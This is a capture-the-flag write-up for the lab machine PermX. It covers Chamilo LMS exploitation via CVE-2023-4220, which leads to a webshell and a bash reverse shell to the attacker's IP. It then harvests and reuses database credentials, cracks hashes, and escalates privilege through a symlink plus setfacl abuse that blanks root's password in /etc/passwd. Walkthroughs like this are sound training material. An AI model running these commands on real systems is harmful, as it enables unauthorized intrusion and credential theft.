Skip to content

PermX

PermX-info

Initial Enumeration

Nmap

We first do our port discovery running sudo nmap -p- --min-rate 10000 10.129.71.63. Then we run our script and version scans on the ports we found to be open.

$ sudo nmap -p22,80 -sC -sV -oN nmap-full 10.129.71.63      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 11:42 CET
Nmap scan report for 10.129.71.63
Host is up (0.024s latency).

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
|   256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://permx.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.66 seconds
  • TTL of 63 indicating Linux as well as most likely no containerization in play.
  • Port 20 SSH - Reveals Linux (Ubuntu)
  • Port 80 HTTP - Redirects to http://permx.htb

We add permx.htb to our /etc/hosts file.

Port 80

We visit http://permx.htb in our browser and begin with some manual enumeration by browsing the website.

PermX-18.png

We see a fairly standard page with not much to discover manually.

Some interesting things to note are that the file extension .html is used for pages on the site and we also see a contact email on the bottom of the page.

PermX-19.png

We will continue with doing automated enumeration using Ffuf, trying to discover directories as well as pages (discovered file extension .html).

$ ffuf -u http://permx.htb/FUZZ -e html -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 23ms]
img                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 36ms]
css                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 29ms]
lib                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 30ms]
js                      [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 20ms]
<--SNIP-->

Nothing of interest can be found. We continue with fuzzing for possible subdomains using Ffuf.

$ ffuf -u http://permx.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.permx.htb" -fw 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 18
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 1375ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 1423ms]
:: Progress: [114441/114441] :: Job [1/1] :: 1307 req/sec :: Duration: [0:01:14] :: Errors: 0 ::

We successfully discover two interesting subdomains, so we will add www.permx.htb as well as lms.permx.htb to our /etc/hosts file.

Upon browsing to http://www.permx.htb we get greeted with the same site as http://permx.htb.

PermX-20.png

Next we browser to http://lms.permx.htb.

PermX-21.png

We can see an instance of the Chamilo LMS in use. To fingerprint the version in order to look for possible exploits we curl the README.md, which is accessible on the webpage.

$ curl -s http://lms.permx.htb/README.md | grep -i chamilo
# Chamilo 1.11.x                   
![PHP Composer](https://github.com/chamilo/chamilo-lms/workflows/PHP%20Composer/badge.svg?branch=1.11.x)
[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/badges/quality-score.png?b=1.11.x)](https://scrutinizer-ci.com/g/chamilo/chamilo-lms/?branch=1.11.x)
<--SNIP-->

So some version 1.11.x of Chamilo is being used.

Exploitation

Googling for exploits for these versions we come across CVE-2023-4220 with PoC scripts available on GitHub as well.

The exploit stems from an unauthenticated file upload vulnerability in bigUpload.php and can be exploited in versions <= 1.11.24.

In the following we will use this script to exploit the vulnerability. Reading through the usage examples on the GitHub page, we specify our -u target URL and the -a action to perform for which we chose the scan option in order to quickly be able to confirm the possible vulnerability.

$ python3 main.py -u http://lms.permx.htb -a scan
[+] Target is likely vulnerable. Go ahead. [+]

With the vulnerability potentially confirmed, we will specify the -a action webshell to upload a web shell and gain command execution.

$ python3 main.py -u http://lms.permx.htb -a webshell
Enter the name of the webshell file that will be placed on the target server (default: webshell.php): shelly.php

[+] Upload successfull [+]

Webshell URL: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shelly.php?cmd=<command>

Using curl on the provided URL by the script, we can confirm successful command execution using the id command.

$ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shelly.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We will establish a reverse shell connection now. So first start our listener.

$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...

And run the curl command with a simple bash reverse shell command.

$ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/shelly.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.21/7777 0>&1'"

Getting the reverse shell connection established successfully.

connect to [10.10.16.21] from (UNKNOWN) [10.129.71.63] 45426
bash: cannot set terminal process group (1151): Inappropriate ioctl for device
bash: no job control in this shell

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ hostname
permx

Host Enumeration

Upon getting our reverse shell connection on the target host, we first start by doing some manual enumeration on the web roots of /var/www/html and /var/www/chamilo and look for config files. Nothing of great interest is to be found for /var/www/html, however we come across /var/www/chamilo/cli-config.php, which references database credentials.

It also reveals another configuration file under ./app/config/configuration.php.

$ cat cli-config.php
cat cli-config.php
<?php
/* For licensing terms, see /license.txt */

/**
 * Script needed to execute bin/doctrine.php in the command line
 * in order to:.
 *
 * - Generate migrations
 * - Create schema
 * - Update schema
 * - Validate schema
 * - Etc
 */
use Doctrine\ORM\Tools\Console\ConsoleRunner;

require_once __DIR__.'/vendor/autoload.php';
//require_once __DIR__.'/main/inc/lib/api.lib.php';
$configurationFile = __DIR__.'/app/config/configuration.php';

if (!is_file($configurationFile)) {
    echo "File does not exists: $configurationFile";
    exit();
}

require_once __DIR__.'/main/inc/global.inc.php';
require_once $configurationFile;

$database = new \Database();
$dbParams = [
    'driver' => 'pdo_mysql',
    'host' => $_configuration['db_host'],
    'user' => $_configuration['db_user'],
    'password' => $_configuration['db_password'],
    'dbname' => $_configuration['main_database'],
];

$database->connect($dbParams, realpath(__DIR__).'/', realpath(__DIR__).'/');
$entityManager = $database::getManager();

$helperSet = ConsoleRunner::createHelperSet($entityManager);
$dialogHelper = new Symfony\Component\Console\Helper\QuestionHelper();
$helperSet->set($dialogHelper);

return $helperSet;

Taking a look at ./app/config/configuration.php and "grepping" the variable names mentioned in the above file, we can get the values for db_user as well as db_password.

$ cat app/config/configuration.php | grep db_user
$_configuration['db_user'] = 'chamilo';

$ cat app/config/configuration.php | grep db_password
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';

We could also see from the /var/www/chamilo/cli-config.php file that MySQL was being used. So we can try to login using mysql, which is successful.

$ mysql -u chamilo -p03F6lY3uXAP2bkW8

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 54
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| chamilo            |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

We will use the chamilo database and show the tables present in it.

MariaDB [(none)]> use chamilo
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A                                                                       

Database changed
MariaDB [chamilo]> show tables;
<--SNIP-->
| user                                |
| user_api_key                        |
| user_course_category                |
| user_friend_relation_type           |
<--SNIP-->

Discovering the table user which sounds promising. We run the describe user; command to get the column names of the user table and then select the interesting information for us.

MariaDB [chamilo]> select username,password from user;
select username,password from user;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra |
| anon     | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS |
+----------+--------------------------------------------------------------+
2 rows in set (0.000 sec)

This appears to be in Bcrypt hash format and we can try to run Hashcat on it.

$ ./hashcat hashes/permx/mysql.hashes rockyou.txt -m 3200
<--SNIP-->
$2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS:anon
<--SNIP-->

This proves to be unsuccessful other than revealing the anon password, which does not get us any further when trying for password reuse.

Our next step would be to try for password reuse using the db_password value we obtained through the previously inspected files. For this we first enumerate the users on the target host.

$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash

And we see one user named mtz other than the root user. Trying to login as this user, using the db_password "03F6lY3uXAP2bkW8" we successfully authenticate.

$ su -l mtz
Password: 03F6lY3uXAP2bkW8

mtz@permx:~$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)

Once authenticated, the user flag can be found in the home directory of user mtz.

$ cat user.txt
74694b6b4527daac6ac1e3b761b0a3bd

Privilege Escalation

We can run sudo -l to reveal commands we can run with sudo privileges as user mtz.

$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

Taking a look at the acl.sh script, it reveals that we can run the setfacl binary as root.

$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

After getting a grasp on what the script does and expects as input, we can go to GTFOBins to look for ways we can possibly escalate our privileges through the setfacl binary the script uses.

Under the Sudo section, we can see a possible way to escalate our privileges using this binary and we see this is basically the command the acl.sh script runs too. Now we just need to find a file we can abuse.

Furthermore the acl.sh script restricts us to files inside our home directory, however we can bypass this restriction by creating a symbolic link to any file on the file system at our home directory.

To finally escalate our privileges, we can do it several ways. One of the simpler ways is to either change the second entry for the root user from x in the /etc/passwd file to empty, meaning no password required to login as root. We could also choose to put the same hash as the mtz user in the /etc/shadow file for the root user, resulting in us being able to login as root using mtz password. In the following we will go with the former approach.

We start by creating a symbolic link to the /etc/passwd file into our mtz home directory.

$ ln -s /etc/passwd passwd
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<--SNIP-->

We change the permissions to rwx for mtz by abusing the acl.sh script.

$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd

Next we run the following to clear the x in the second entry of the /etc/passwd file.

$ echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
$ cat /etc/passwd
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<--SNIP-->

We can confirm that the second entry has been cleared and we can now login as the root user without a password prompt.

$ su

root@permx:/home/mtz# id
uid=0(root) gid=0(root) groups=0(root)

The root flag can be found at /root/root.txt.

# cat root.txt
78af4a8f5cbed952d6bcd30bf158f280

Resources

  • Cool way to fingerprint versions when having access to GitHub source code by ippsec.